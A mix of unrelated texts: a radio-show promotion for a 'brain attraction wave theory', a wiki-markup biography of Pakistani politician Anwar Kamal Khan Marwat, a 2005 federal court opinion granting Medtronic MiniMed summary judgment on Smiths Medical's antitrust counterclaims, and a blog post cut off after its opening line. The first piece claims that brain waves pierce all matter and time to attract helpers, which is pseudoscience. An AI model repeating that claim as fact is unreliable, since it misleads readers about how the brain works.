Just like Einstein’s theory explained that gravitational waves can pierce through all matter, we have brain waves that also pierce through all matter, space and time. When facing an issue that requires a resolution, the brain sends internal and external “S.O.S.” signals for help. People receive these signals through body language and through an unconscious type of “knowing.” As a result, people will approach, but not all are helpers. Some are sent to test the brain’s reshaping capability. The brain reshapes through making the decision on who to follow, and how to apply the solution.
BRAIN TIP
Episode 2:Brain Attraction & The Brain Reshaping-ship
Air Date: February 25, 2016 on KPC Radio
THE LEPOINT BRAIN ATTRACTION WAVE THEORY:
Attraction is not just sexual. Partnerships are not just professional. Relationships are not just emotional. Rather, two people meeting can be brain-transformational. As the brain seeks answers to change a particular situation, it sends out brain waves. Similar to Einstein’s gravitational waves, this energy is designed to attract people who are willing to help us reshape our brains. However, most people are unaware of these signals, and do not know what their brains exude. And when other individuals approach, they may not be able to determine which people will help the situation or will make the problem worse. Listen for Olympia’s tips on how clearly choose the best brain attractions for heathy brain reshaping-ships.
Brain Attraction: Backstory
Olympia LePoint’s theory of Brain Wave Attraction came one day as she was out at a night event. She was approached several times in one evening. However, this evening was peculiar. She noticed that everyone who approached her that night were individuals who desired to start their own businesses. And just three years earlier, she had accomplished the same.
Then a few months later a similar event happened. She was looking for a physical trainer. Everyone who she met at a restaurant were people who recently found a trainer. Then at another location, she met sequentially people who had recently just found a trainer. Ironically, just a few week prior, she made a decision to pursue physical training.
When this series of events repeated multiple times with other situations, Olympia discovered that these events were not random. Rather, there was a hidden brain wave working. People’s brains were signaling for help to solve their issues. And they were attracting people who had the information they needed.
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'''Anwar Kamal Khan Marwat Mina Khel''' ({{lang-ur|{{Nastaliq|انور کمال خان مروت مینا خیل}}}}; 19 November 1946 – 13 February 2012) was a Pakistani Politician.<ref name="DAWN">[http://www.dawn.com/2012/02/14/pml-n-provincial-leader-dies-2.html PML-N provincial leader dies] ''Dawn.com,'' 14 February 2012</ref>
He was a senior leader of the [[Pakistan Muslim League (N)|Pakistan Muslim League]] (Nawaz) He was the middle son of the three sons of Justice [[Khan Habibullah Khan]] and elder brother of a senior Pakistani Civil Servant Akhtar Munir Khan Marwat. He led his first tribal army in 1973.<ref>{{cite news |title=Anwar Kamal |url=http://www.economist.com/node/21548140 |newspaper=[[The Economist]] |date=25 February 2012 |accessdate=30 August 2012}}</ref> Earlier he has also remained a [[Senate of Pakistan|Senator]] in addition to being a Senior Provincial Minister.<ref>http://pakistanherald.com/profile.aspx?hofid=756{{dead link|date=October 2016 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>[http://www.pashto.org/chaikhaana/pashtun-matters-da-pakhtunu/1221-al-qaeda-hunt-sparks.html Tribes Combat and Tribe Men's leading] {{webarchive |url=https://web.archive.org/web/20120207154832/http://www.pashto.org/chaikhaana/pashtun-matters-da-pakhtunu/1221-al-qaeda-hunt-sparks.html |date=February 7, 2012 }}</ref><ref>[http://www.dawn.com/2006/02/21/nat21.htm Reference of Qabaili Jirga (Tribal Discussion)]</ref>
He was elected as member of the in March 1997 for a six-year term. He served as a member of the Senate Standing Committee on Water and Power and on Local Government and Rural Development and also on Functional Committee on Probles of Less Developed Areas.<ref>[http://www.senate.gov.pk/ShowMemberDetail.asp?MemberCode=289&CatCode=0&CatName= Senate of Pakistan] {{webarchive |url=https://web.archive.org/web/20071209094908/http://www.senate.gov.pk/ShowMemberDetail.asp?MemberCode=289&CatCode=0&CatName= |date=December 9, 2007 }}</ref> He was elected to the provincial assembly in the 2002 elections defeating his longstanding rivals the late Pir Khalid Raza Zakori,serving as Pakistan Muslim League (Nawaz) parliamentary leader in the province for nearly five years.
A former opponent of action against the [[Taliban]], he after losing the 2008 provincial elections led his tribe in operation against the Taliban in the [[Lakki Marwat]] area.<ref>[http://www.telegraph.co.uk/news/worldnews/asia/pakistan/3047132/Pakistan-chieftain-hunts-down-Taliban.html Pakistan chieftain hunts down Taliban] 22 September 2008. Retrieved October 1, 2008</ref>
He died on 13 February 2012 due to two sudden heart attacks at [[Lady Reading Hospital]] in [[Peshawar]].<ref name="DAWN"/>
==References==
{{reflist}}
{{DEFAULTSORT:Khan, Anwar Kamal}}
[[Category:1946 births]]
[[Category:2012 deaths]]
[[Category:Pashtun people]]
[[Category:Pakistan Muslim League (N) politicians]]
{{Pakistan-politician-stub}} |
371 F.Supp.2d 578 (2005)
MEDTRONIC MINIMED INC., Plaintiff and Counter-defendant,
v.
SMITHS MEDICAL MD INC., Defendant and Counterclaimant.
No. CIV.A. 03-776-KAJ.
United States District Court, D. Delaware.
April 14, 2005.
*579 *580 Karen Jacobs Louden, Esq., Julia Heaney, Esq., Kristen Healey, Esq., Philip H. Bangle, Esq., Morris, Nichols, Arsht & Tunnell, Wilmington, DE, for Plaintiff. Of Counsel: Terrence P. McMahon, Esq., McDermott Will & Emery, Palo Alto, CA, Jon B. Dubrow, Esq., McDermott Will & Emery, Washington, DC, David M. Beckwith, Esq., McDermott Will & Emery, San Diego, CA, Daniel Floyd, Esq., Gibson Dunn & Crutcher, Los Angeles, CA.
Richard D. Kirk, Esq., Cheryl Siskin, Esq., The Bayard Firm, Wilmington, DE, for Defendant. Of Counsel: Anthony C. Roth, Esq., Thomas E. Nelson, Esq., Corinne A. Niosi, Esq., J. Clayton Everett, Jr., Esq., Morgan, Lewis & Bockius LLP, Washington, DC.
MEMORANDUM OPINION
JORDAN, District Judge.
I. Introduction
Before me is a motion for summary judgment (Docket Item ["D.I."] 175; the "Motion") filed by Medtronic Minimed, Inc. ("MiniMed") seeking summary judgment on Smiths Medical MD, Inc.'s[1] ("Smiths") First, Second, and Third Counterclaims (collectively the "Antitrust Counterclaims") (D.I. 28 at 24-26 ¶¶ 76-90).
This case commenced on August 5, 2003, when MiniMed filed a patent infringement complaint against Smiths for the infringement of United States Patent No. 6,554,798 B1 (the "'798 patent") and United States Patent No. 5,655,065 (the "'065 patent"), both of which are directed to insulin infusion pumps. (D.I.1.) MiniMed alleges that Smiths has directly infringed the '798 and '065 patents through the making, using, offering for sale, and/or selling of a pump sold under the trademark "Cozmo," *581 that it has knowingly and actively induced others to directly infringe these patents, and that it has contributed to the direct infringement of these patents. (D.I. 25 at 4-6 ¶¶ 19-30.) On November 17, 2003, Smiths filed an Answer to MiniMed's First Amended Complaint, which contained five counterclaims, three of which are the Antitrust Counterclaims at issue here. (D.I. 28 at 24-28 ¶¶ 76-90.) Although Smiths initially requested damages in its Antitrust Counterclaims (Id. at 28 ¶ C), it has elected not to pursue such a claim for damages but continues to request injunctive relief (D.I. 244 at 21).
The Antitrust Counterclaims allege that MiniMed conditioned the sale of its infusion pumps on the purchase of its disposable infusion sets, in violation of 15 U.S.C. §§ 1, 14. (D.I. 28 at 24-25 ¶¶ 76-84.) Additionally, Smiths alleges that, by eliminating what had been a standard interface between infusion sets and its corresponding infusion pumps, MiniMed has attained "monopoly power, or has created the dangerous probability that MiniMed will obtain monopoly power" in the market for infusion sets, in violation of 15 U.S.C. § 2. (Id. at 26 ¶ 89.)
The court has jurisdiction over this case pursuant to 28 U.S.C. § 1331 and 1338(a). For the reasons set forth herein, the Motion for Summary Judgment will be granted.
II. Background[2]
MiniMed and Smiths are competitors in the manufacture and sale of insulin infusion pumps and sets. (D.I. 28 at 12-13 ¶ 7.) Infusion sets are disposable medical devices that attach to a diabetic's body to allow the delivery of insulin by injection into the body; infusion pumps are non-disposable devices that connect to infusion sets and control the delivery of the insulin through the sets. (Id. at 12-13 ¶ 7-8; 17 ¶ 27.) Infusion pumps last for years; however, infusion sets are typically replaced every two to three days. (Id. at 13 ¶ 8.) Traditionally, infusion sets have attached to infusion pumps through the use of a "luer lock." (Id. at 13 ¶ 9.)
MiniMed sold its first insulin pump in 1983. (Id. at 14 ¶ 10.) Between 1985 and 1998, MiniMed introduced six new types of insulin pumps. (Id. at 14-15 ¶¶ 11-17.) All of these pumps used the standard luer lock to connect with infusion sets. (Id.) In 2001 and 2003, MiniMed introduced three new types of insulin pumps, all of which MiniMed sold or sells under the trademark "Paradigm." (Id. at 16 ¶¶ 21-23.) Paradigm pumps do not use the traditional luer lock. (Id.) Instead, the Paradigm pump uses a proprietary system for locking the infusion set to the pump. (Id. at 16 ¶ 26.) Consequently, infusion sets with luer locks, such as those made by Smiths, cannot be used with MiniMed's new pump. (Id. at 16-17 ¶¶ 21-23, 30.)
MiniMed sought and was granted a patent for its new connection system. (D.I. 248, Ex. 31; U.S. Patent 6,585,695 B1 (the "'695 patent").) Although the new connection is protected by the '695 patent, one company, known as SpectRx, already makes and sells a Paradigm-compatible infusion set, and another company has announced plans to start selling such an infusion set in the near future. (D.I. 177, Ex. 13 at 70-71; Ex. 20 at 16-19; Ex. 30; Ex. 31.) MiniMed has given no assurances that it will not sue these companies in the future, but, at present, it has not filed suit against either of them for infringement of the '695 patent. (D.I. 269 at 75.) Smiths alleges that MiniMed's new, proprietary *582 connection system, does not provide safety or efficacy advantages over a luer lock connection system. (D.I. 28 at 16 ¶ 26.)
With respect to MiniMed's motivation to stop using the luer lock connection system, Smiths states that, by 1999, a third, unrelated company was aggressively marketing infusion sets for use with other companies' infusion pumps. (Id. at 15 ¶¶ 19-20.) Smiths' counterclaims imply that it was this intense marketing of infusion sets that led MiniMed to change the design of its connection system to prevent their pumps from working with others' infusion sets. (Id. at 15-16 ¶¶ 19-24.) Finally, Smiths alleges that MiniMed's "share of the Pump Market has been and is approximately 75%." (Id. at 17 ¶ 29.)
III. Standard of Review
Pursuant to Federal Rule of Civil Procedure 56(c), a party is entitled to summary judgment if a court determines from its examination of "the pleadings, depositions, answers to interrogatories, and admissions on file, together with the affidavits, if any," that there are no genuine issues of material fact and that the moving party is entitled to judgment as a matter of law. In determining whether there is a triable issue of material fact, a court must review the evidence and construe all inferences in the light most favorable to the non-moving party. Goodman v. Mead Johnson & Co., 534 F.2d 566, 573 (3d Cir.1976). However, a court should not make credibility determinations or weigh the evidence. Reeves v. Sanderson Plumbing Products, Inc., 530 U.S. 133, 150, 120 S.Ct. 2097, 147 L.Ed.2d 105 (2000). To defeat a motion for summary judgment, Rule 56(c) requires that the non-moving party "do more than simply show that there is some metaphysical doubt as to the material facts." Matsushita Elec. Indus. Co., Ltd. v. Zenith Radio Corp., 475 U.S. 574, 586-87, 106 S.Ct. 1348, 89 L.Ed.2d 538 (1986) (internal citation omitted). The non-moving party "must set forth specific facts showing that there is a genuine issue for trial." Fed.R.Civ.P. 56(c). "Where the record taken as a whole could not lead a rational trier of fact to find for the nonmoving party, there is no genuine issue for trial." Matsushita Elec. Inds. Co., Ltd., 475 U.S. at 587, 106 S.Ct. 1348 (internal citation omitted). Accordingly, a mere scintilla of evidence in support of the non-moving party is insufficient for a court to deny summary judgment. Anderson v. Liberty Lobby, Inc., 477 U.S. 242, 252, 106 S.Ct. 2505, 91 L.Ed.2d 202 (1986).
IV. Discussion
A. Standing
Smiths has asserted three antitrust counterclaims against MiniMed. The first two counterclaims are tying claims, one under 15 U.S.C. § 1[3], and the other under 15 U.S.C. § 14[4]. (D.I. 28 at 24-25 ¶¶ 76-84.) *583 The third counterclaim is a claim of attempted monopolization under 15 U.S.C. § 2[5]. (Id. at 25-26 ¶¶ 85-90.) In the two tying claims, Smiths alleges that "[b]y creating a proprietary infusion set attachment that is incompatible with industry-standard disposable infusion sets, Minimed has conditioned the purchase" of its pumps on the "purchase of proprietary MiniMed disposable infusion sets." (Id. at 24 ¶ 77; see also id. at 25 ¶ 83.) With respect to the attempted monopolization claim, Smiths alleges that MiniMed "adopted incompatible proprietary infusion set attachments" for its pumps "with the specific intent to gain monopoly power...." (Id. at 25 ¶ 87.)
Smiths argues that it has standing because it "has been severely constrained by Minimed's anticompetitive decision to abandon use of a luer lock connection system." (D.I. 244 at 22.) MiniMed responds that Smiths lacks standing in this case to allege an anticompetitive intent or effect in the use of the connection system protected by the '695 patent because Smiths has not produced and has no plans to produce a Paradigm-compatible infusion set. (D.I. 252 at 1-2.)
In order to establish standing in a case for injunctive relief, a plaintiff "must show: (1) threatened loss or injury cognizable in equity; (2) proximately resulting from the alleged antitrust violation." McCarthy v. Recordex Serv., 80 F.3d 842, 856 (3d Cir.1996) (internal citations omitted). As Smiths itself acknowledges, a competitor's standing to sue is premised on that competitor's having "manifested an intention to enter the business and ... [having] demonstrated his preparedness to do so." (D.I. 244 at 22) (quoting Sports Racing Servs., Inc. v. Sports Car Club of Am., Inc., 131 F.3d 874, 885 (10th Cir.1997) (alteration not in original).) When the antitrust claim at issue is based upon the exclusionary use of a patent, the claimant must show that it was prepared to manufacture and sell the patented product, in order to show the necessary connection between the allegedly illegal conduct and the threatened injury. Indium Corp. of Am. v. Semi-Alloys, Inc., 781 F.2d 879, 882 (Fed.Cir.1985) (holding that a manufacturer of semi-conductor devices did not have standing to sue over the allegedly illegal use of a patent because it was not prepared to use the patented technology in the manufacture of its semi-conductor devices and, therefore, there "was no connection between any conduct of ... [defendant] and ... [the plaintiff's] alleged `harm'"). The undisputed facts presented in this Motion demonstrate that Smiths does not have standing to assert the Antitrust Counterclaims.
First and foremost, it must be noted that Smiths does not claim that it has been prevented from producing a Paradigm-compatible infusion set. Initially, Smiths appeared to be developing an argument that the '695 patent prevented it from marketing infusion sets to MiniMed's customers. In Smiths' answering brief, it implies that the '695 patent protecting MiniMed's new infusion sets prevented it from making a Paradigm-compatible infusion set. (See D.I. 244 at 23 (stating that *584 "Smiths Medical should not have to run the gamut of patent infringement litigation in order to establish standing to pursue claims under the antitrust laws").) Some testimony in the record would support that position. Mr. Kalligher, a senior marketing manager at Smiths, stated that the '695 patent prevented Smiths from producing a Paradigm-compatible infusion set. (D.I. 248, Ex. 37 at 163-64.) Mr. Pope, who testified as a 30(b)(6) witness for Smiths, repeated that contention. (See id., Ex. 15 at 46-47.) However, Smiths has since expressly disclaimed any argument that its Antitrust Counterclaims are based on the proprietary nature of MiniMed's patented connection system. (D.I. 269 at 79.) Instead, Smiths' arguments focus solely on MiniMed's decision to change the infusion set connection system it uses with its pumps.[6] That litigation tactic is consistent with Smiths' pre-litigation conduct, which included no effort whatever to design an infusion set that was both compatible with the Paradigm pump and did not infringe the '695 patent. (See D.I. 248, Ex. 15 at 75-76.)
In short, Smiths has essentially admitted that it has not been harmed by an inability to produce a Paradigm-compatible infusion set, but rather that it has been harmed by the inability to sell its luer lock infusion sets to Paradigm pump users. That such is its position is also made clear by the relief it seeks or, more precisely, does not seek. It nowhere asks that the '695 patent be held unenforceable.[7] If Smiths were truly claiming that MiniMed's use of the '695 patent poses a threat of harm, then presumably it would have asked that MiniMed be enjoined from enforcing the ' 695 patent. That it has not asked for that relief demonstrates that the' 695 patent is not the basis for Smiths' Antitrust Counterclaims.
Smiths was not and is not prepared to produce a Paradigm-compatible infusion set. In an apparent admission that it cannot prove that it lost any sales to MiniMed, Smiths has decided not to pursue a claim of damages. (D.I. 244 at 21; see also Indium Corp., 781 F.2d at 882 (holding that a plaintiff that was not prepared to manufacture a product has no standing to sue for antitrust damages resulting from the illegal use of a patent to block selling of that product).) It also follows, however, that Smiths has no standing to claim a *585 right to injunctive relief. Again, as Smiths' own authority makes clear, to have standing Smiths must show that it "manifested an intention to enter the business and ... demonstrated [its] preparedness to do so." (D.I. 244 at 22 (citing Sports Racing Servs., 131 F.3d at 885).) This it has failed to do.
B. Illegal Tying of Infusion Sets to the Purchase of Insulin Pumps
Even if Smiths had standing, however, its Antitrust Counterclaims cannot stand. Smiths' first two counterclaims allege that MiniMed illegally tied the sale of its infusion pump to the sale of its infusion sets. The first counterclaim alleges a violation of § 1 of the Sherman Act and the second alleges a violation of § 3 of the Clayton Act. (D.I. 28 at 24-25 ¶¶ 76-84.) To bring a claim under either section, Smiths must prove that the tying arrangement is unlawful. Mitel Corp. v. A & A Connections, 1998 WL 136529, at *5, 1998 U.S. Dist. LEXIS 3576, at *13-14 (E.D.Pa. Mar. 20, 1998).
A "tying arrangement" is unlawful where (1) the scheme in question involves two distinct items and provides that one (the tying product) may not be obtained unless the other (the tied product) is also purchased ...; (2) the tying product possesses sufficient economic power to appreciably restrain competition in the tied product market ...; and (3) a "not insubstantial" amount of commerce, must be affected by the arrangement.
Id. (internal citations omitted).
With respect to the first requirement, a plaintiff must "adequately plead ... that defendant has conditioned the sale of one separate product upon the sale of another product or service...." Medical Accessories Center, Inc. v. Sharplan Lasers, Inc., 1991 WL 212100, at *2, 1991 U.S. Dist. LEXIS 14771, at *5 (E.D.Pa. Oct. 15, 1991); see Town Sound & Custom Tops, Inc. v. Chrysler Motors Corp., 959 F.2d 468, 475 (3d Cir.1992) (holding that "[t]ying is defined as selling one good (the tying product) on the condition that the buyer also purchase another, separate good (the tied product)").
MiniMed argues that there is no tying in this case because "MiniMed has no contract or agreement through which users of its Paradigm pumps are required to purchase disposable sets for the Paradigm pump from MiniMed." (D.I. 206 at 28.) Smiths responds in its answering brief, that the sale of infusion pumps was not conditioned on the sale of infusion sets, but rather, because of coercion on the part of MiniMed, customers who purchased Paradigm pumps had no viable alternative but to purchase infusion sets from MiniMed because of the lack of available substitutes. (See D.I. 244 at 24 (stating that "the practical economic effect ... [of switching connection systems] is to force Paradigm pump customers to purchase MiniMed infusion sets).")[8]
*586 The test for tying requires conditioning the sale of one product on the sale of another, see Town Sound, 959 F.2d at 475, and, as the seller of the first product is the party imposing conditions on the purchaser, it is axiomatic that the conditioning in question be done by the seller. While the decision by MiniMed to stop using the luer lock connection system prevents Smiths from selling its current infusion set to Paradigm pump users, that action does not force or coerce Paradigm customers to purchase infusion sets from MiniMed. Such customers are free to purchase any infusion sets that are compatible with the Paradigm pump. Leaving aside the issue of the patent protection on MiniMed's new connection system, an issue which Smiths itself has chosen to leave aside, see supra at 5-9, Smiths could produce a compatible set, if it chose to, as other companies have done, and could try to sell the allegedly tied product directly to MiniMed's customers.[9] Smiths, however, has chosen not to produce such an infusion set. It cannot now be heard to claim that MiniMed's pump customers are coerced into buying infusion sets from MiniMed, when the lack of customer choice, if there is such, is partly a result of Smiths' own decision not to produce a compatible infusion set. Consequently, Smiths' tying claims based on MiniMed's decision to abandon the luer lock connection system must fail.
C. Attempted Monopolization
To prove attempted monopolization "a plaintiff must prove (1) that the defendant has engaged in predatory or anticompetitive conduct with (2) a specific intent to monopolize and (3) a dangerous probability of achieving monopoly power." Spectrum Sports v. McQuillan, 506 U.S. 447, 456, 113 S.Ct. 884, 122 L.Ed.2d 247 (1993) (internal citation omitted). To show the requisite anticompetitive conduct, it must be shown that the defendant's "power was used to foreclose competition." United States v. Dentsply Int'l, Inc., 399 F.3d 181, 191 (3d Cir.2005) (internal citation omitted). "The test is not total foreclosure, but whether the challenged practices bar a substantial number of rivals or *587 severely restrict the market's ambit." Id. (internal citation omitted).
In this case, Smiths is not restricted from making and selling Paradigm-compatible infusion sets by MiniMed's decision to change its infusion set connection system. Smiths, however, argues that as a practical matter the market has been severely restricted by MiniMed's decision to change their connector system because they cannot sell their infusion sets to Paradigm users. (D.I. 244 at 32-33.) As evidence of this, Smiths cites various internal MiniMed documents. (See D.I. 247, Ex. 4 at MM026235; D.I. 248, Ex. 23 at MM204241, Ex. 27 at MM070099.) These documents might have supported an argument that MiniMed has used its '695 patent in an anticompetitive manner.[10] They do not, however, support Smiths' contention that the change in the connection system employed by MiniMed, in itself and without regard to the '695 patent, foreclosed the market in a meaningful way. In fact, one of the cited documents notes the relatively low barriers to entry in the infusion set market, stating that "[c]hallengers, aware of the multimillion-dollar stakes and eager to cut into MiniMed's market dominance, are anticipated because the barriers to entry are less daunting (it is technologically easier to design and manufacture a disposable set than an insulin pump)." (D.I. 247, Ex. 4 at MM026235.)
Further, Mr. Kellog, another witness for Smiths, testified that Smiths projected that in the 2004/2005 time period 100% of its sales of infusion sets would come from its own customers. (D.I. 177, Ex. 5 at 209.) Smiths also projected that, in 2007, 90% of its sales of infusion sets would still be to its own customers, despite there continuing to be many MiniMed customers using non-Paradigm pumps that could use Smiths' infusion sets. (Id. at 215-16.) Mr. Pope stated that for Smiths "the easiest ... selling opportunities would have been selling to new Cozmo pump [, a Smith insulin pump,] users." (Id., Ex. 6 at 331-32.) And Mr. Kellog agreed it would be challenging to get users of competitors' pumps to switch to their infusion sets, due to insurance requirements, the difficulty of identifying those prospective clients and marketing to them, and lastly the fact that "if they are happy with what they are using, people don't tend to change...." (Id., Ex. 5 at 208.) Finally, Mr. Pope testified that the approval to go forward with the new infusion sets was based on the understanding that they would only be sold to users of Smiths' pumps. (Id., Ex. 10 at 226-27.)
As the above testimony makes clear, Smiths driving motivation in making and selling infusion sets was to serve the customers who purchased its pumps. While Smiths would likely have welcomed any additional customers it could have gained if MiniMed had not switched the design of its connector system, that product change cannot be said to have "severely restricted" Smiths' ability to sell its infusion sets. See Dentsply, 399 F.3d at 191. More to the point, however, if Smiths truly felt restricted by its inability to sell infusion sets to Paradigm pump customers, it could have made the decision to produce and sell compatible infusion sets to them,[11] as other infusion set manufactures have done.
To support its position that MiniMed's decision to change its infusion set connector *588 system was anticompetitive, Smiths cites C.R. Bard, Inc. v. M3 Sys., Inc., 157 F.3d 1340 (Fed.Cir.1998). That case, however, addresses the type of issue that Smiths has abandoned in this case, namely, the unlawful use of a patent. C.R. Bard dealt with a company that changed the design of its biopsy gun to accept a new type of needle and then patented the needle and the interface between the gun and the needle. Id. at 1367. In C.R. Bard, there were three antitrust counterclaims. 157 F.3d at 1367. The first two claims related to "attempts to enforce ... fraudulently procured patents" and unlawfully bringing suit for patent infringement when the plaintiff knew "its patents were invalid, unenforceable, or not infringed." Id. The third claim related to unlawfully leveraging "monopoly power ... to obtain a competitive advantage." Id.
With respect to the third claim, the jury, through a special verdict form, found that there was a relevant market for the needles, that plaintiff-patentee "had monopoly power in that market," and "it had acquired or maintained its monopoly power in that market through restrictive or exclusionary conduct." Id. at 1382. The alleged unlawful conduct in that case was the modification of the gun "to accept only Bard needles." Id. at 1367 (emphasis added). In that case, it was the patents at suit that prevented competitors from selling needles that were compatible with Bard's guns.[12]Id. at 1348-49. It is perhaps possible that there are other ways to create an exclusive market, such as creating a product that is not susceptible to reverse engineering. In the case at bar, however, there is no such claim. Moreover, SpectRx's infusion set, which is compatible with the Paradigm pump, highlights the fact the Paradigm pump accepts infusion sets others than MiniMed's.
There is language in the majority's opinion that on first blush would appear to support Smiths' case, namely that Bard's reason for modifying its gun was "to raise the cost of entry to potential makers of replacement needles, to make doctors apprehensive about using non-Bard needles, and to preclude the use of `copycat' needles." Id. at 1382. Taken in context, however, the above quoted language is an effort on the part of the majority to refute the premise of the dissent's argument for overturning the antitrust verdict, which was that the modification to "Bard's Biopsy gun was an `improvement.'" Id. Consequently, this language should be understood in relation to Bard's use of its patents and not be considered as referencing conduct that, standing alone, would necessitate a finding of predatory or exclusionary conduct. Therefore, the present case is fundamentally different, as Smiths has not made and apparently has no plans to make a product which may infringe the '695 patent, which has not been asserted against Smiths in this case.
With few, narrow exceptions not applicable in the present case, the antitrust laws contain "no duty to aid competitors." Verizon Communs., Inc. v. Law Offices of Curtis V. Trinko, LLP, 540 U.S. 398, 411, 124 S.Ct. 872, 157 L.Ed.2d 823 (2004). Indeed, "[t]o safeguard the incentive to innovate, the possession of monopoly power will not be found unlawful unless it is accompanied by an element of anticompetitive conduct." Id. at 407, 124 S.Ct. 872 (emphasis omitted). Here, Smiths' *589 Antitrust Counterclaims, if permitted to stand, would undermine that fundamental goal of encouraging innovation. Smiths argues that the design changes to the connection system undertaken by MiniMed could have been accomplished without removing the luer lock. (D.I. 244 at 37.) Absent evidence of anticompetitive conduct, however, it is not the role of the courts to determine how companies should innovate. On this record, Smiths' remedy for the competitive disadvantage it says it faces is in the marketplace, not in court.
V. Conclusion
For the reasons set forth, MiniMed's Motion for Summary Judgment (D.I.175) will be granted. Its earlier Motion to Dismiss or in the alternative to Bifurcate and Stay Discovery and Trial of Defendant's Antitrust Counterclaims (D.I.31) will be denied as moot. An appropriate order will follow.
MEMORANDUM ORDER
For the reasons set forth in the accompanying Memorandum Opinion, the Motion for Summary Judgment (D.I.175) filed by Medtronic MiniMed Inc. ("MiniMed") will be GRANTED. MiniMed's earlier Motion to Dismiss or in the alternative to Bifurcate and Stay Discovery and Trial of Defendant's Antitrust Counterclaims (D.I.31) will be denied as MOOT.
NOTES
[1] MiniMed originally filed suit against Deltec, Inc., Smiths Medical LTD, and Smiths Group PLC. (D.I. 25 at 1.) In its First Amended Complaint, MiniMed removed Smiths Medical LTD from the case and replaced it with Smiths Group North America, Inc. Id. On February 24, 2004, the parties entered into a stipulation dismissing without prejudice Smiths Group North America, Inc. and Smiths Group PLC and noting that Deltec Inc. had changed its corporate name to Smiths Medical MD, Inc., which is now the sole remaining defendant in this case. (D.I.38.)
[2] The following rendition of the background information for my decision is cast in the light most favorable to the non-moving party, Smiths.
[3] "Every contract, combination in the form of trust or otherwise, or conspiracy, in restraint of trade or commerce among the several States, or with foreign nations, is hereby declared to be illegal." 15 U.S.C. § 1.
[4] "It shall be unlawful for any person engaged in commerce, in the course of such commerce, to lease or make a sale or contract for sale of goods, wares, merchandise, machinery, supplies or other commodities, whether patented or unpatented, for use, consumption or resale within the United States or any Territory thereof or the District of Columbia or any insular possession or other place under the jurisdiction of the United States, or fix a price charged therefor, or discount from, or rebate upon, such price, on the condition, agreement or understanding that the lessee or purchaser thereof shall not use or deal in the goods, wares, merchandise, machinery, supplies or other commodities of a competitor or competitors of the lessor or seller, where the effect of such lease, sale, or contract for sale or such condition, agreement or understanding may be to substantially lessen competition or tend to create a monopoly in any line of commerce." 15 U.S.C. § 14.
[5] "Every person who shall monopolize, or attempt to monopolize, or combine or conspire with any other person or persons, to monopolize any part of the trade or commerce among the several States, or with foreign nations, shall be deemed guilty of a felony, and, on conviction thereof, shall be punished by fine not exceeding $ 100,000,000 if a corporation, or, if any other person, $ 1,000,000, or by imprisonment not exceeding 10 years, or by both said punishments, in the discretion of the court." 15 U.S.C. § 2.
[6] At oral argument Smiths' counsel confirmed that Smiths' Antitrust Counterclaims do not rely on MiniMed's use of its patent to prevent competitors from producing a MiniMed compatible infusion set. (D.I. 269 at 79.) Specifically, he stated that the "anti-competitive effects [at issue] fundamentally and first of all are flowing from the product change." (Id.) I then asked counsel "[s]o you are agreeing with your opponent that it's not the proprietary nature of their new interface that is at the heart of your claim of anti-competitive conduct. That ... if they hadn't patented it, that wouldn't make a difference. What really matters is it's no longer a luer lock and that is what is anti-competitive. Have I understood you?" (Id.) To which counsel responded "[t]hat's correct. That it is no longer a luer lock. That is what is anti-competitive." (Id.) Further, in its briefing Smiths states that "the only conduct that is challenged ... is MiniMed's decision to engineer incompatibility by intentionally designing luer locks out of the connection system for its Paradigm pumps." (D.I. 244 at 37.)
[7] Instead, it vaguely asks that MiniMed be permanently enjoined "from continuing Minimed's violations of the Sherman Act, as authorized by ... the Clayton Act...." (D.I. 28 at 28 ¶ B.) From the repeated assertions that it was injured by MiniMed's decision to abandon the luer lock, it appears that Smiths is asking that I enjoin MiniMed from selling its Paradigm pump and or the compatible infusion sets. (See, e.g., D.I. 244 at 23) (stating that "MiniMed's anticompetitive conduct forecloses a substantial portion of the infusion set market to Smiths Medical's innovative infusion set").
[8] As Smiths does not allege, and a reading of the record does not support, that MiniMed expressly required purchasers of insulin pumps to also purchase insulin sets, it appears that Smiths is alleging that MiniMed's change from the industry standard luer locks to its new design amounted to a functional tie that violated § 1 of the Sherman Act and § 3 of the Clayton Act. Functionally tying one product to another through the use of technology is often referred to as a "technological tie." A technological tie can best be understood as a "technological interrelationship among complementary products." Foremost Pro Color, Inc. v. Eastman Kodak Co., 703 F.2d 534, 542 (9th Cir.1983). Although the Third Circuit has not addressed this issue of so-called technological ties directly, its precedent can be read to imply that a decision to move away from one product type, e.g., a luer lock infusion set, to another type is not, in and of itself, actionable. See Steamfitters Local Union No. 420 Welfare Fund v. Philip Morris, Inc., 171 F.3d 912, 926 (3d Cir.1999) (citing Foremost Pro Color, 703 F.2d at 544-46) (stating that a "business's decision to not produce a product, simpliciter, is not a violation of the antitrust laws, and it is not clear whether even a concerted decision among all of the businesses in an industry to keep one of their new products from reaching consumers would be an antitrust violation").
[9] Smiths relies on the principle that "[t]ie-ins are non-coercive, and therefore legal, only if the components are separately available to the customer on a basis as favorable as the tie-in arrangement," Advance Business Systems & Supply Co. v. SCM Corp., 415 F.2d 55, 62 (4th Cir.1969), and it asserts that the SpectRx infusion set is not offered "on a basis as favorable as the MiniMed Paradigm-compatible infusion sets." (D.I. 244 at 24 (internal quotations omitted).) The basis for that assertion is evidence that SpectRx's infusion set does not have hydrophobic vents and, according to Smiths, "MiniMed customers must open their pump to potential water damage in order to" use the SpectRx infusion set. (Id. at 25.) This argument, however, misses the point and mistakes the import of the case Smiths cites. Smiths does not and cannot dispute that SpectRx is selling infusion sets compatible with MiniMed's Paradigm pump. There is no evidence that a features and benefits differential, assuming it exists as Smiths alleges, has eliminated the SpectRx infusion sets as an acceptable substitute in the market. On the contrary, the only evidence is that the SpectRx sets are being sold to Paradigm pump users. More importantly, Smiths can make a Paradigm compatible set of whatever quality it thinks best. Nothing in the Advance Business Systems case Smiths cites is directed at the quality of products competing with the allegedly tied product. Rather, that case addresses alternative ways in which allegedly tied products were sold. See 415 F.2d at 62.
[10] I hasten to add that I make no such finding. I simply note that an argument that the use of the patent was anticompetitive presents a stark contrast to the argument Smiths actually makes.
[11] Again this puts aside the issue of any barrier posed by the '695 patent, which Smiths has said is not the basis of its Antitrust Counterclaims.
[12] Standing was not an issue in that case because an "individual defendant raising a misuse defense need not show that he was personally harmed by the abusive practice" when he is being sued for infringement of the same patent. 6-19 CHISUM ON PATENTS § 19.04, note 5 (2005).
|
Wednesday, August 4, 2010
Don Young says he's in the clear
This was posted today on U.S. Rep. Don Young's website:
A Statement From The Office Of Congressman Young
Washington D.C., Aug 4 —
